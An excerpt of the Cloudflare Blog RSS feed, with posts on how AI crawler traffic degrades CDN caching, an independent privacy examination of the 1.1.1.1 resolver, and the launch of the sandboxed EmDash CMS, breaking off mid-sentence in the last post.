
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Fri, 03 Apr 2026 23:45:25 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Why we're rethinking cache for the AI era]]></title>
            <link>https://blog.cloudflare.com/rethinking-cache-ai-humans/</link>
            <pubDate>Thu, 02 Apr 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ The explosion of AI-bot traffic, representing over 10 billion requests per week, has opened up new challenges and opportunities for cache design. We look at some of the ways AI bot traffic differs from humans, how this impacts CDN cache, and some early ideas for how Cloudflare is designing systems to improve the AI and human experience. ]]></description>
            <content:encoded><![CDATA[ <p>Cloudflare data shows that 32% of traffic across our network originates from <a href="https://radar.cloudflare.com/traffic"><u>automated traffic</u></a>. This includes search engine crawlers, uptime checkers, ad networks — and more recently, AI assistants looking to the web to add relevant data to their knowledge bases as they generate responses with <a href="https://developers.cloudflare.com/reference-architecture/diagrams/ai/ai-rag/"><u>retrieval-augmented generation</u></a> (RAG). Unlike typical human behavior, <a href="https://www.cloudflare.com/learning/ai/what-is-agentic-ai/"><u>AI agents</u></a>, crawlers, and scrapers’ automated behavior may appear aggressive to the server responding to the requests. </p><p>For instance, AI bots frequently issue high-volume requests, often in parallel. Rather than focusing on popular pages, they may access rarely visited or loosely related content across a site, often in sequential, complete scans of the websites. For example, an AI assistant generating a response may fetch images, documentation, and knowledge articles across dozens of unrelated sources.</p><p>Although Cloudflare already makes it easy to <a href="https://blog.cloudflare.com/introducing-ai-crawl-control/"><u>control and limit</u></a> automated access to your content, many sites may <i>want</i> to serve AI traffic. For instance, an application developer may want to guarantee that their developer documentation is up-to-date in foundational AI models, an e-commerce site may want to ensure that product descriptions are part of LLM search results, or publishers may want to get paid for their content through mechanisms such as <a href="https://blog.cloudflare.com/introducing-pay-per-crawl/"><u>pay per crawl</u></a>.</p><p>Website operators therefore face a dichotomy: tune for AI crawlers, or for human traffic. Given both exhibit widely different traffic patterns, current cache architectures force operators to choose one approach to save resources.</p><p>In this post, we’ll explore how AI traffic impacts storage cache, describe some challenges associated with mitigating this impact, and propose directions for the community to consider adapting CDN cache to the AI era.</p><p>This work is a collaborative effort with a team of researchers at <a href="https://ethz.ch/en.html"><u>ETH Zurich</u></a>. The full version of this work was published at the 2025 <a href="https://acmsocc.org/2025/index.html"><u>Symposium on Cloud Computing</u></a> as “<a href="https://dl.acm.org/doi/10.1145/3772052.3772255"><u>Rethinking Web Cache Design for the AI Era</u></a>” by Zhang et al.</p>
    <div>
      <h3>Caching </h3>
      <a href="#caching">
        
      </a>
    </div>
    <p>Let's start with a quick refresher on <a href="https://www.cloudflare.com/learning/cdn/what-is-caching/"><u>caching</u></a>. When a user initiates a request for content on their device, it’s usually sent to the Cloudflare data center closest to them. When the request arrives, we check to see if we have a valid cached copy. If we do, we can serve the content immediately, resulting in a fast response, and a happy user. If the content isn't available to read from our cache, (a "cache miss"), our data centers reach out to the <a href="https://www.cloudflare.com/learning/cdn/glossary/origin-server/"><u>origin server</u></a> to get a fresh copy, which then stays in our cache until it expires or other data pushes it out. </p><p>Keeping the right elements in our cache is critical for reducing our cache misses and providing a great user experience — but what’s “right” for human traffic may be very different from what’s right for AI crawlers!</p>
    <div>
      <h3>AI traffic at Cloudflare</h3>
      <a href="#ai-traffic-at-cloudflare">
        
      </a>
    </div>
    <p>Here, we’ll focus on AI crawler traffic, which has emerged as the most active AI bot type <a href="https://blog.cloudflare.com/crawlers-click-ai-bots-training/"><u>in recent analyses</u></a>, accounting for 80% of the self-identified AI bot traffic we see. AI crawlers fetch content to support real-time AI services, such as answering questions or summarizing pages, as well as to harvest data to build large training datasets for models like <a href="https://www.cloudflare.com/learning/ai/what-is-large-language-model/"><u>LLMs</u></a>.</p><p>From <a href="https://radar.cloudflare.com/ai-insights"><u>Cloudflare Radar</u></a>, we see that the vast majority of single-purpose AI bot traffic is for training, with search as a distant second. (See <a href="https://blog.cloudflare.com/ai-crawler-traffic-by-purpose-and-industry/"><u>this blog post</u></a> for a deep discussion of the AI crawler traffic we see at Cloudflare).</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3WQUiQ36rvMb8rNKruwdLd/1e9003057720b68829c6df3337a840ec/image2.png" />
          </figure><p>While both search and training crawls impact cache through numerous sequential, long-tail accesses, training traffic has properties such as high unique URL ratio, content diversity, and crawling inefficiency that make it even more impactful on cache.</p>
    <div>
      <h3>How does AI traffic differ from other traffic for a CDN?</h3>
      <a href="#how-does-ai-traffic-differ-from-other-traffic-for-a-cdn">
        
      </a>
    </div>
    <p>AI crawler traffic has three main differentiating characteristics: high unique URL ratio, content diversity, and crawling inefficiency.</p><p><a href="https://commoncrawl.github.io/cc-crawl-statistics/plots/crawlsize"><u>Public crawl statistics</u></a> from <a href="https://commoncrawl.org/"><u>Common Crawl</u></a>, which performs large-scale web crawls on a monthly basis, show that over 90% of pages are unique by content. Different AI crawlers also target <a href="https://blog.cloudflare.com/ai-bots/"><u>distinct content types</u></a>: e.g., some specialize in technical documentation, while others focus on source code, media, or blog posts. Finally, AI crawlers do not necessarily follow optimal crawling paths. A substantial fraction of fetches from popular AI crawlers result in 404 errors or redirects, <a href="https://dl.acm.org/doi/abs/10.1145/3772052.3772255"><u>often due to poor URL handling</u></a>. The rate of these ineffective requests varies depending on how well the crawler is tuned to target live, meaningful content. AI crawlers also typically do not employ browser-side caching or session management in the same way human users do. AI crawlers can launch multiple independent instances, and because they don’t share sessions, each may appear as a new visitor to the CDN, even if all instances request the same content.</p><p>Even a single AI crawler is likely to dig deeper into websites and <a href="https://dl.acm.org/doi/epdf/10.1145/3772052.3772255"><u>explore a broader range of content than a typical human user.</u></a> Usage data from Wikipedia shows that <b>pages once considered "long-tail" or rarely accessed are now being frequently requested, shifting the distribution of content popularity within a CDN's cache.</b> In fact, AI agents may iteratively loop to refine search results, scraping the same content repeatedly. We model this to show that this iterative looping leads to low content reuse and broad coverage. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7yH1QLIGCU3mJGXID27Cik/3ba56ff02865b7b141743815d0909be0/image1.png" />
          </figure><p>Our modeling of AI agent behavior shows that as they iteratively loop to refine search results (a common pattern for retrieval-augmented generation), they maintain a consistently high <b>unique access ratio </b>(the red columns above) — typically between 70% and 100%. This means that each loop, while generally increasing <b>accuracy</b> for the agent (represented here by the blue line), is constantly fetching new, unique content rather than revisiting previously seen pages. </p><p><b>This repeat access to long-tail assets churns the cache that the human traffic relies on. That could make existing pre-fetching and traditional cache invalidation strategies less effective as the amount of crawler traffic increases.  </b></p>
    <div>
      <h3>How does AI traffic impact cache?</h3>
      <a href="#how-does-ai-traffic-impact-cache">
        
      </a>
    </div>
    <p>For a <a href="https://www.cloudflare.com/learning/cdn/what-is-a-cdn/"><u>CDN</u></a>, a cache miss means having to go to the origin server to fetch the requested content.  Think of a cache miss like your local library not having a book in house, so you have to wait to get the book from inter-library loan. You’ll get your book eventually, but it will take longer than you wanted. It will also inform your library that having that book in stock locally could be a good idea.  </p><p>As a result of their broad, unpredictable access patterns with long-tail reuse, AI crawlers significantly raise the cache miss rate. And many of our typical methods to improve our cache hit rate, such as <a href="https://blog.cloudflare.com/introducing-speed-brain/"><u>cache speculation</u></a> or prefetching, are significantly less effective.  </p><p>The first chart below shows the difference in cache hit rates for a single node in Cloudflare’s CDN with and without our <a href="https://radar.cloudflare.com/bots/directory?category=AI_CRAWLER&amp;kind=all"><u>identified AI crawlers</u></a>. While the impact of crawlers is still relatively limited, there is a clear drop in hit rate with the addition of AI crawler traffic. We manage our cache with an algorithm called “least recently used”, or LRU. This means that the least-requested content can be evicted from cache first to make space for more popular content when storage space is full. The drop in hit rate implies that LRU is struggling under the repeated scan behavior of AI crawlers.</p><p>The bottom figure shows Al cache misses during this time. Each of those cache misses represents a request to the origin, slowing response times as well as increasing egress costs and load on the origin. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6rsbyos9tv8wzbbXJTrAYh/522b3fed76ce69bb96eb9aaff51ea1b1/image3.png" />
          </figure><p>This surge in AI bot traffic has had real-world impact. The following table from our paper shows the effects on several large websites. Each example links to its source report.</p><table><tr><td><p><b>System</b></p></td><td><p><b>Reported AI Traffic Behavior</b></p></td><td><p><b>Reported Impact</b></p></td><td><p><b>Reported Mitigations</b></p></td></tr><tr><td><p><a href="https://www.wikipedia.org/"><u>Wikipedia</u></a></p></td><td><p>Bulk image scraping for model training<a href="https://diff.wikimedia.org/2025/04/01/how-crawlers-impact-the-operations-of-the-wikimedia-projects/"><u><sup>1</sup></u></a></p></td><td><p>50% surge in multimedia bandwidth usage<a href="https://diff.wikimedia.org/2025/04/01/how-crawlers-impact-the-operations-of-the-wikimedia-projects/"><u><sup>1</sup></u></a></p></td><td><p>Blocked crawler traffic<a href="https://diff.wikimedia.org/2025/04/01/how-crawlers-impact-the-operations-of-the-wikimedia-projects/"><u><sup>1</sup></u></a></p></td></tr><tr><td><p><a href="https://sourcehut.org/"><u>SourceHut</u></a></p></td><td><p>LLM crawlers scraping code repositories<a href="https://incidentdatabase.ai/cite/1001/"><u><sup>2</sup></u></a><sup>,</sup><a href="https://status.sr.ht/issues/2025-03-17-git.sr.ht-llms/"><u><sup>3</sup></u></a> </p></td><td><p>Service instability and slowdowns<a href="https://incidentdatabase.ai/cite/1001/"><u><sup>2</sup></u></a><sup>,</sup><a href="https://status.sr.ht/issues/2025-03-17-git.sr.ht-llms/"><u><sup>3</sup></u></a> </p></td><td><p>Blocked crawler traffic<a href="https://incidentdatabase.ai/cite/1001/"><u><sup>2</sup></u></a><sup>,</sup><a href="https://status.sr.ht/issues/2025-03-17-git.sr.ht-llms/"><u><sup>3</sup></u></a> </p></td></tr><tr><td><p><a href="https://about.readthedocs.com/"><u>Read the Docs</u></a></p></td><td><p>AI crawlers download large files hundreds of times daily<a href="https://incidentdatabase.ai/cite/1001/"><u><sup>2</sup></u></a><sup>,</sup><a href="https://about.readthedocs.com/blog/2024/07/ai-crawlers-abuse/"><u><sup>4</sup></u></a></p></td><td><p>Significant bandwidth increase<a href="https://incidentdatabase.ai/cite/1001/"><u><sup>2</sup></u></a><sup>,</sup><a href="https://about.readthedocs.com/blog/2024/07/ai-crawlers-abuse/"><u><sup>4</sup></u></a></p></td><td><p>Temporarily blocked crawler traffic, performed IP-based rate limiting, reconfigured CDN to improve caching<a href="https://incidentdatabase.ai/cite/1001/"><u><sup>2</sup></u></a><sup>,</sup><a href="https://about.readthedocs.com/blog/2024/07/ai-crawlers-abuse/"><u><sup>4</sup></u></a></p></td></tr><tr><td><p><a href="https://www.fedoraproject.org/"><u>Fedora</u></a></p></td><td><p>AI scrapers recursively crawl package mirrors<a href="https://incidentdatabase.ai/cite/1001/"><u><sup>2</sup></u></a><sup>,</sup><a href="https://cryptodamus.io/en/articles/news/ai-web-scrapers-attacking-open-source-here-s-how-to-fight-back"><u><sup>5</sup></u></a><sup>,</sup><a href="https://www.scrye.com/blogs/nirik/posts/2025/03/15/mid-march-infra-bits-2025/"><u><sup>6</sup></u></a></p></td><td><p>Slow response for human users<a href="https://incidentdatabase.ai/cite/1001/"><u><sup>2</sup></u></a><sup>,</sup><a href="https://cryptodamus.io/en/articles/news/ai-web-scrapers-attacking-open-source-here-s-how-to-fight-back"><u><sup>5</sup></u></a><sup>,</sup><a href="https://www.scrye.com/blogs/nirik/posts/2025/03/15/mid-march-infra-bits-2025/"><u><sup>6</sup></u></a></p></td><td><p>Geo-blocked traffic from known bot sources along with blocking several subnets and even countries<a href="https://incidentdatabase.ai/cite/1001/"><u><sup>2</sup></u></a><sup>,</sup><a href="https://cryptodamus.io/en/articles/news/ai-web-scrapers-attacking-open-source-here-s-how-to-fight-back"><u><sup>5</sup></u></a><sup>,</sup><a href="https://www.scrye.com/blogs/nirik/posts/2025/03/15/mid-march-infra-bits-2025/"><u><sup>6</sup></u></a></p></td></tr><tr><td><p><a href="https://diasporafoundation.org/"><u>Diaspora</u></a></p></td><td><p>Aggressive scraping without respecting robots.txt<a href="https://diaspo.it/posts/2594"><u><sup>7</sup></u></a></p></td><td><p>Slow response and downtime for human users<a href="https://diaspo.it/posts/2594"><u><sup>7</sup></u></a></p></td><td><p>Blocked crawler traffic and added rate limits<a href="https://diaspo.it/posts/2594"><u><sup>7</sup></u></a></p></td></tr></table><p>The impact is severe: Wikimedia experienced a 50% surge in multimedia bandwidth usage due to bulk image scraping. Fedora, which hosts large software packages, and the Diaspora social network suffered from heavy load and poor performance for human users. Many others have noted bandwidth increases or slowdowns from AI bots repeatedly downloading large files. While blocking crawler traffic mitigates some of the impact, a smarter cache architecture would let site operators serve AI crawlers while maintaining response times for their human users.</p>
    <div>
      <h3>AI-aware caching</h3>
      <a href="#ai-aware-caching">
        
      </a>
    </div>
    <p>AI crawlers power live applications such as <a href="https://www.cloudflare.com/learning/ai/retrieval-augmented-generation-rag/"><u>retrieval-augmented generation (RAG)</u></a> or real-time summarization, so latency matters. That’s why these requests should be routed to caches that can balance larger capacity with moderate response times. These caches should still preserve freshness, but can tolerate slightly higher access latency than human-facing caches. </p><p>AI crawlers are also used for building training sets and running large-scale content collection jobs. These workloads can tolerate significantly higher latency and are not time-sensitive. As such, their requests can be served from deep cache tiers that take longer to reach (e.g., origin-side SSD caches), or even delayed using queue-based admission or rate-limiters to prevent backend overload. This also opens the opportunity to defer bulk scraping when infrastructure is under load, without affecting interactive human or AI use cases.</p><p>Existing projects like Cloudflare’s <a href="https://blog.cloudflare.com/an-ai-index-for-all-our-customers/"><u>AI Index</u></a> and <a href="https://blog.cloudflare.com/markdown-for-agents/"><u>Markdown for Agents</u></a> allow website operators to present a simplified or reduced version of websites to known AI agents and bots. We're making plans to do much more to mitigate the impact of AI traffic on CDN cache, leading to better cache performance for everyone. With our collaborators at ETH Zurich, we’re experimenting with two complementary approaches: first, traffic filtering with AI-aware caching algorithms; and second, exploring the addition of an entirely new cache layer to siphon AI crawler traffic to a cache that will improve performance for both AI crawlers and human traffic. </p><p>There are several different types of cache replacement algorithms, such as LRU (“Least Recently Used”), LFU (“Least Frequently Used”), or FIFO (“First-In, First-Out”), that govern how a storage cache chooses to evict elements from the cache when a new element needs to be added and the cache is full. LRU is often the best balance of simplicity, low-overhead, and effectiveness for generic situations, and is widely used. For mixed human and AI bot traffic, however, our initial experiments indicate that a different choice of cache replacement algorithm, particularly using <a href="https://cachemon.github.io/SIEVE-website/"><u>SEIVE</u></a> or <a href="https://s3fifo.com/"><u>S3FIFO</u></a>, could allow human traffic to achieve the same hit rate with or without AI interference. We are also experimenting with developing more directly workload-aware, machine learning-based caching algorithms to customize cache response in real time for a faster and cheaper cache.  </p><p>Long term, we expect that a separate cache layer for AI traffic will be the best way forward. Imagine a cache architecture that routes human and AI traffic to distinct tiers deployed at different layers of the network. Human traffic would continue to be served from edge caches located at CDN PoPs, which prioritize responsiveness and <a href="https://www.cloudflare.com/learning/cdn/what-is-a-cache-hit-ratio/"><u>cache hit rates</u></a>. For AI traffic, cache handling could vary by task type. </p>
    <div>
      <h3>This is just the beginning</h3>
      <a href="#this-is-just-the-beginning">
        
      </a>
    </div>
    <p>The impact of AI bot traffic on cloud infrastructure is only going to grow over the next few years. We need better characterization of the effects on CDNs across the globe, along with bold new cache policies and architectures to address this novel workload and help make a better Internet. </p><p>Cloudflare is already solving the problems we’ve laid out here. Cloudflare reduces bandwidth costs for customers who experience high bot traffic with our AI-aware caching, and with our <a href="https://www.cloudflare.com/ai-crawl-control/"><u>AI Crawl Control</u></a> and <a href="https://www.cloudflare.com/paypercrawl-signup/"><u>Pay Per Crawl</u></a> tools, we give customers better control over who programmatically accesses their content.</p><p>We’re just getting started exploring this space. If you're interested in building new ML-based caching algorithms or designing these new cache architectures, please apply for an internship! We have <a href="https://www.cloudflare.com/en-gb/careers/jobs/?department=Early+Talent"><u>open internship positions</u></a> in Summer and Fall 2026 to work on this and other exciting problems at the intersection of AI and Systems.  </p> ]]></content:encoded>
            <category><![CDATA[Research]]></category>
            <category><![CDATA[Cache]]></category>
            <guid isPermaLink="false">635WBzM8GMiVZhyzKFeWMf</guid>
            <dc:creator>Avani Wildani</dc:creator>
            <dc:creator>Suleman Ahmad</dc:creator>
        </item>
        <item>
            <title><![CDATA[Our ongoing commitment to privacy for the 1.1.1.1 public DNS resolver]]></title>
            <link>https://blog.cloudflare.com/1111-privacy-examination-2026/</link>
            <pubDate>Wed, 01 Apr 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ Eight years ago, we launched 1.1.1.1 to build a faster, more private Internet. Today, we’re sharing the results of our latest independent examination. The result: our privacy protections are working exactly as promised. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Exactly 8 years ago today, <a href="https://blog.cloudflare.com/announcing-1111/"><u>we launched the 1.1.1.1 public DNS resolver</u></a>, with the intention to build the world’s <a href="https://www.dnsperf.com/#!dns-resolvers"><u>fastest</u></a> resolver — and the most private one. We knew that trust is everything for a service that handles the "phonebook of the Internet." That’s why, at launch, we made a unique commitment to publicly confirm that we are doing what we said we would do with personal data. In 2020, we <a href="https://blog.cloudflare.com/announcing-the-results-of-the-1-1-1-1-public-dns-resolver-privacy-examination/"><u>hired an independent firm to check our work</u></a>, instead of just asking you to take our word for it. We shared our intention to update such examinations in the future. We also called on other providers to do the same, but, as far as we are aware, no other major public resolver has had their DNS privacy practices independently examined.</p><p>At the time of the 2020 review, the 1.1.1.1 resolver was less than two years old, and the purpose of the examination was to prove our systems made good on all the commitments we made about how our 1.1.1.1 resolver functioned, even commitments that did not impact personal data or user privacy. </p><p>Since then, Cloudflare’s technology stack has grown significantly in both scale and complexity. For example, we <a href="https://blog.cloudflare.com/big-pineapple-intro/"><u>built an entirely new platform</u></a> that powers our 1.1.1.1 resolver and other DNS systems. So we felt it was vital to review our systems, and our 1.1.1.1 resolver privacy commitments in particular, once again with a rigorous and independent review. </p><p>Today, we are sharing the results of our most recent privacy examination by the same Big 4 accounting firm. Its independent examination is available on our <a href="https://www.cloudflare.com/trust-hub/compliance-resources/"><u>compliance page</u></a>.</p><p>Following the conclusion of the 2024 calendar year, we began our comprehensive process of collecting and preparing evidence for our independent auditors. The examination took several months and required many teams across Cloudflare to provide supporting evidence of our privacy controls in action. After the independent auditors' completion of the examination, we're pleased to share the final report, which provides assurance that our commitments were met: our systems are as private as promised. Most importantly, <b>our core privacy guarantees for the 1.1.1.1 resolver remain unchanged and confirmed by independent review:</b></p><ul><li><p><b>Cloudflare will not sell or share public resolver users’ personal data with third parties or use personal data from the public resolver to target any user with advertisements.</b></p></li></ul><ul><li><p><b>Cloudflare will only retain or use what is being asked, not information that will identify who is asking it.</b> </p></li></ul><ul><li><p><b>Source IP addresses are anonymized and deleted within 25 hours.</b></p></li></ul><p>We also want to be transparent about two points. First: as we explained in <a href="https://blog.cloudflare.com/announcing-the-results-of-the-1-1-1-1-public-dns-resolver-privacy-examination/"><u>our 2020 blog announcing the results of our previous examination</u>,</a> randomly sampled network packets (at most 0.05% of all traffic, including the querying IP address of 1.1.1.1 public resolver users) are used solely for network troubleshooting and attack mitigation.</p><p>Second, the scope of this examination focuses exclusively on our privacy commitments. Back in 2020, our first examination reviewed all of our representations, not only our privacy commitments but our description of how we would handle anonymized transaction and debug log data (“Public Resolver Logs”) for the legitimate operation of our Public Resolver and research purposes. Over time, our uses of this data to do things like power <a href="https://radar.cloudflare.com/"><u>Cloudflare Radar</u></a>, which was released after our initial 1.1.1.1 examination, have changed how we treat those logs, even though there is no impact on personal information or personal privacy. </p><p><a href="https://blog.cloudflare.com/announcing-the-results-of-the-1-1-1-1-public-dns-resolver-privacy-examination/"><u>As we noted with the first review 6 years ago</u></a>: we’ve never wanted to know what individuals do on the Internet, and we’ve taken technical steps to ensure we can’t. At Cloudflare, we believe privacy should be the default. By proactively undergoing these independent examinations, we hope to set a standard for the rest of the industry. We believe every user, whether they are browsing the web directly or deploying an AI agent on their behalf, deserves an Internet that doesn't track their movement. And further, Cloudflare steadfastly stands behind the commitment in our <a href="https://www.cloudflare.com/privacypolicy/"><u>Privacy Policy</u></a> that we will not combine any information collected from DNS queries to the 1.1.1.1 resolver with any other Cloudflare or third-party data in any way that can be used to identify individual end users.</p><p>As always, we thank you for trusting 1.1.1.1 to be your gateway to the Internet. Details of the 1.1.1.1 resolver privacy examination and our accountant’s report can be found on Cloudflare’s <a href="https://www.cloudflare.com/trust-hub/compliance-resources/"><u>Certifications and compliance resources page</u></a>. Visit <a href="https://developers.cloudflare.com/1.1.1.1/"><u>https://developers.cloudflare.com/1.1.1.1/</u></a> to learn more about how to get started with the Internet's fastest, privacy-first DNS resolver. </p> ]]></content:encoded>
            <category><![CDATA[1.1.1.1]]></category>
            <category><![CDATA[DNS]]></category>
            <category><![CDATA[Privacy]]></category>
            <category><![CDATA[Consumer Services]]></category>
            <category><![CDATA[Transparency]]></category>
            <guid isPermaLink="false">VOddnCi9jbM6zHOay1HCN</guid>
            <dc:creator>Rory Malone</dc:creator>
            <dc:creator>Hannes Gerhart</dc:creator>
            <dc:creator>Leah Romm</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing EmDash — the spiritual successor to WordPress that solves plugin security]]></title>
            <link>https://blog.cloudflare.com/emdash-wordpress/</link>
            <pubDate>Wed, 01 Apr 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ Today we are launching the beta of EmDash, a full-stack serverless JavaScript CMS built on Astro 6.0. It combines the features of a traditional CMS with modern security, running plugins in sandboxed Worker isolates. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>The cost of building software has drastically decreased. We recently <a href="https://blog.cloudflare.com/vinext/"><u>rebuilt Next.js in one week</u></a> using AI coding agents. But for the past two months our agents have been working on an even more ambitious project: rebuilding the WordPress open source project from the ground up.</p><p>WordPress powers <a href="https://w3techs.com/technologies/details/cm-wordpress"><u>over 40% of the Internet</u></a>. It is a massive success that has enabled anyone to be a publisher, and created a global community of WordPress developers. But the WordPress open source project will be 24 years old this year. Hosting a website has changed dramatically during that time. When WordPress was born, AWS EC2 didn’t exist. In the intervening years, that task has gone from renting virtual private servers, to uploading a JavaScript bundle to a globally distributed network at virtually no cost. It’s time to upgrade the most popular CMS on the Internet to take advantage of this change.</p><p>Our name for this new CMS is EmDash. We think of it as the spiritual successor to WordPress. It’s written entirely in TypeScript. It is serverless, but you can run it on your own hardware or any platform you choose. Plugins are securely sandboxed and can run in their own <a href="https://developers.cloudflare.com/workers/reference/how-workers-works/"><u>isolate</u></a>, via <a href="https://developers.cloudflare.com/workers/runtime-apis/bindings/worker-loader/"><u>Dynamic Workers</u></a>, solving the fundamental security problem with the WordPress plugin architecture. And under the hood, EmDash is powered by <a href="https://astro.build/"><u>Astro</u></a>, the fastest web framework for content-driven websites.</p><p>EmDash is fully open source, MIT licensed, and <a href="https://github.com/emdash-cms/emdash"><u>available on GitHub</u></a>. While EmDash aims to be compatible with WordPress functionality, no WordPress code was used to create EmDash. That allows us to license the open source project under the more permissive MIT license. We hope that allows more developers to adapt, extend, and participate in EmDash’s development.</p><p>You can deploy the EmDash v0.1.0 preview to your own Cloudflare account, or to any Node.js server today as part of our early developer beta:</p><a href="https://deploy.workers.cloudflare.com/?url=https://github.com/emdash-cms/templates/tree/main/blog-cloudflare"><img src="https://deploy.workers.cloudflare.com/button" /></a>
<p></p><p>Or you can try out the admin interface here in the <a href="https://emdashcms.com/"><u>EmDash Playground</u></a>:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/50n8mewREzoxOFq2jDzpT9/6a38dbfbaeec2d21040137e574a935ad/CleanShot_2026-04-01_at_07.45.29_2x.png" />
          </figure>
    <div>
      <h3>What WordPress has accomplished</h3>
      <a href="#what-wordpress-has-accomplished">
        
      </a>
    </div>
    <p>The story of WordPress is a triumph of open source that enabled publishing at a scale never before seen. Few projects have had the same recognisable impact on the generation raised on the Internet. The contributors to WordPress’s core, and its many thousands of plugin and theme developers have built a platform that democratised publishing for millions; many lives and livelihoods being transformed by this ubiquitous software.</p><p>There will always be a place for WordPress, but there is also a lot more space for the world of content publishing to grow. A decade ago, people picking up a keyboard universally learned to publish their blogs with WordPress. Today it’s just as likely that person picks up Astro, or another TypeScript framework to learn and build with. The ecosystem needs an option that empowers a wide audience, in the same way it needed WordPress 23 years ago. </p><p>EmDash is committed to building on what WordPress created: an open source publishing stack that anyone can install and use at little cost, while fixing the core problems that WordPress cannot solve. </p>
    <div>
      <h3>Solving the WordPress plugin security crisis</h3>
      <a href="#solving-the-wordpress-plugin-security-crisis">
        
      </a>
    </div>
    <p>WordPress’ plugin architecture is fundamentally insecure. <a href="https://patchstack.com/whitepaper/state-of-wordpress-security-in-2025/"><u>96% of security issues</u></a> for WordPress sites originate in plugins. In 2025, more high severity vulnerabilities <a href="https://patchstack.com/whitepaper/state-of-wordpress-security-in-2026/"><u>were found in the WordPress ecosystem</u></a> than the previous two years combined.</p><p>Why, after over two decades, is WordPress plugin security so problematic?</p><p>A WordPress plugin is a PHP script that hooks directly into WordPress to add or modify functionality. There is no isolation: a WordPress plugin has direct access to the WordPress site’s database and filesystem. When you install a WordPress plugin, you are trusting it with access to nearly everything, and trusting it to handle every malicious input or edge case perfectly.</p><p>EmDash solves this. In EmDash, each plugin runs in its own isolated sandbox: a <a href="https://developers.cloudflare.com/dynamic-workers/"><u>Dynamic Worker</u></a>. Rather than giving direct access to underlying data, EmDash provides the plugin with <a href="https://blog.cloudflare.com/workers-environment-live-object-bindings/"><u>capabilities via bindings</u></a>, based on what the plugin explicitly declares that it needs in its manifest. This security model has a strict guarantee: an EmDash plugin can only perform the actions explicitly declared in its manifest. You can know and trust upfront, before installing a plugin, exactly what you are granting it permission to do, similar to going through an OAuth flow and granting a 3rd party app a specific set of scoped permissions.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4JDq2oEgwONHL8uUJsrof2/fb2ae5fcacd5371aaab575c35ca2ce2e/image8.png" />
          </figure><p>For example, a plugin that sends an email after a content item gets saved looks like this:</p>
            <pre><code>import { definePlugin } from "emdash";

export default () =&gt;
  definePlugin({
    id: "notify-on-publish",
    version: "1.0.0",
    capabilities: ["read:content", "email:send"],
    hooks: {
      "content:afterSave": async (event, ctx) =&gt; {
        if (event.collection !== "posts" || event.content.status !==    "published") return;

        await ctx.email!.send({
          to: "editors@example.com",
          subject: `New post published: ${event.content.title}`,
          text: `"${event.content.title}" is now live.`,
         });

        ctx.log.info(`Notified editors about ${event.content.id}`);
      },
    },
  });</code></pre>
            <p>This plugin explicitly requests two capabilities: <code>content:afterSave</code> to hook into the content lifecycle, and <code>email:send</code> to access the <code>ctx.email</code> function. It is impossible for the plugin to do anything other than use these capabilities. It has no external network access. If it does need network access, it can specify the exact hostname it needs to talk to, as part of its definition, and be granted only the ability to communicate with a particular hostname.</p><p>And in all cases, because the plugin’s needs are declared statically, upfront, it can always be clear exactly what the plugin is asking for permission to be able to do, at install time. A platform or administrator could define rules for what plugins are or aren’t allowed to be installed by certain groups of users, based on what permissions they request, rather than an allowlist of approved or safe plugins.</p>
    <div>
      <h3>Solving plugin security means solving marketplace lock-in</h3>
      <a href="#solving-plugin-security-means-solving-marketplace-lock-in">
        
      </a>
    </div>
    <p>WordPress plugin security is such a real risk that WordPress.org <a href="https://developer.wordpress.org/plugins/wordpress-org/plugin-developer-faq/#where-do-i-submit-my-plugin"><u>manually reviews and approves each plugin</u></a> in its marketplace. At the time of writing, that review queue is over 800 plugins long, and takes at least two weeks to traverse. The vulnerability surface area of WordPress plugins is so wide that in practice, all parties rely on marketplace reputation, ratings and reviews. And because WordPress plugins run in the same execution context as WordPress itself and are so deeply intertwined with WordPress code, some argue they must carry forward WordPress’ GPL license.</p><p>These realities combine to create a chilling effect on developers building plugins, and on platforms hosting WordPress sites.</p><p>Plugin security is the root of this problem. Marketplace businesses provide trust when parties otherwise cannot easily trust each other. In the case of the WordPress marketplace, the plugin security risk is so large and probable that many of your customers can only reasonably trust your plugin via the marketplace. But in order to be part of the marketplace your code must be licensed in a way that forces you to give it away for free everywhere other than that marketplace. You are locked in.</p><p>EmDash plugins have two important properties that mitigate this marketplace lock-in:</p><ol><li><p><b>Plugins can have any license</b>: they run independently of EmDash and share no code. It’s the plugin author’s choice.</p></li><li><p><b>Plugin code runs independently in a secure sandbox</b>: a plugin can be provided to an EmDash site, and trusted, without the EmDash site ever seeing the code.</p></li></ol><p>The first part is straightforward — as the plugin author, you choose what license you want. The same way you can when publishing to NPM, PyPi, Packagist or any other registry. It’s an open ecosystem for all, and up to the community, not the EmDash project, what license you use for plugins and themes.</p><p>The second part is where EmDash’s plugin architecture breaks free of the centralized marketplace.</p><p>Developers need to rely on a third party marketplace having vetted the plugin far less to be able to make decisions about whether to use or trust it. Consider the example plugin above that sends emails after content is saved; the plugin declares three things:</p><ul><li><p>It only runs on the <code>content:afterSave</code> hook</p></li><li><p>It has the <code>read:content</code> capability</p></li><li><p>It has the <code>email:send</code> capability</p></li></ul><p>The plugin can have tens of thousands of lines of code in it, but unlike a WordPress plugin that has 